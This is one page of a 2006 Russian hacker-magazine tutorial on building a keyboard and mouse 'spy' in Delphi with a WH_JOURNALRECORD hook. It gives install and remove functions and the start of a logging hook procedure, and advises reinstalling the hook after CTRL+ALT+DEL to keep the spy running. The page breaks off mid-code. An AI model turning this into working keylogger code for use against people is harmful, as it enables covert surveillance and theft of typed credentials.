Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #70, СЕНТЯБРЬ 2006 г.

ШПИОН ДЛЯ САМОГО СВЯТОГО

ЗАЙЦЕВ ОЛЕГ

Спецвыпуск: Хакер, номер #070, стр. 070-040-5


[от теории к практике]

Рассмотрим несколько типовых примеров. В начале поговорим о шпионе на основе ловушки, построенного без применения DLL. Такой шпион использует ловушку типа WH_JOURNALRECORD, которая является системной, то есть функция-обработчик вызывается системой, причем в контексте потока, выполнившего установку ловушки. Практическое последствие: код ловушки на совершенно законных основаниях размещается в самой программе, а не в DLL. Это удобно, так как не требуется таскать лишние DLL. Кроме того, у хука типа WH_JOURNALRECORD есть еще один плюс: он регистрирует клавиатурные и мышиные события, что упрощает написание шпиона. Однако при всех плюсах есть и минусы: ловушка данного типа автоматом снимается системой при нажатии CTRL+ALT+DEL и CTRL+ESC – шпион должен отслеживать данную ситуацию и переустанавливать ловушку.

Но пойдем по порядку. Для начала нам понадобится написать две функции: InstallHook для установки ловушки и RemoveHook для ее удаления. Функции, по сути, являются оберткой для API-функций SetWindowsHookEx и UnhookWindowsHookEx, но дополнены проверкой, блокирующей повторную установку или удаление ловушки. Переменная HookHandle предназначена для хранения хендла и изначально инициализируется значением INVALID_HANDLE_VALUE.

function InstallHook : boolean;

begin

if HookHandle = INVALID_HANDLE_VALUE then

HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);

Result := HookHandle <> INVALID_HANDLE_VALUE;

end;

function RemoveHook : boolean;

begin

if HookHandle <> INVALID_HANDLE_VALUE then

UnhookWindowsHookEx(HookHandle);

HookHandle := INVALID_HANDLE_VALUE;

Result := true;

end;

Следующим обязательным шагом является код, снимающий ловушку в момент завершения программы:

procedure TForm1.FormDestroy(Sender: TObject);

begin

RemoveHook;

end;

Теперь можно приступить к написанию кода ловушки. Параметр nCode указывает ловушке на то, как интерпретировать остальные параметры. Если nCode равен HC_ACTION, то lParam должен интерпретироваться как указатель на структуру EVENTMSG. Значения HC_SYSMODALOFF и HC_SYSMODALON для нас не представляют интереса: они указывают на то, что создано (или разрушено) модальное окно уровня системы. Наш обработчик их просто игнорирует.

function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;

var

EventMsg : PEventMsg; // Указатель EventMsg

VirtCode : byte; // Виртуальный код

ScanCode : dword; // Скан-код

KeyState : TKeyboardState; // Состояние клавиатуры

Tmp, S : string; // Временные переменные

Res : integer;

begin

s := '';

if nCode = HC_ACTION then begin

EventMsg := pointer(LParam);

case EventMsg^.message of

WM_LBUTTONDOWN : S := 'нажата левая кнопка мыши';

WM_RBUTTONDOWN : S := 'нажата правая кнопка мыши';

WM_LBUTTONUP : S := 'отпущена левая кнопка мыши';

WM_RBUTTONUP : S := 'отпущена правая кнопка мыши';

Назад на стр. 070-040-4  Содержание  Вперед на стр. 070-040-6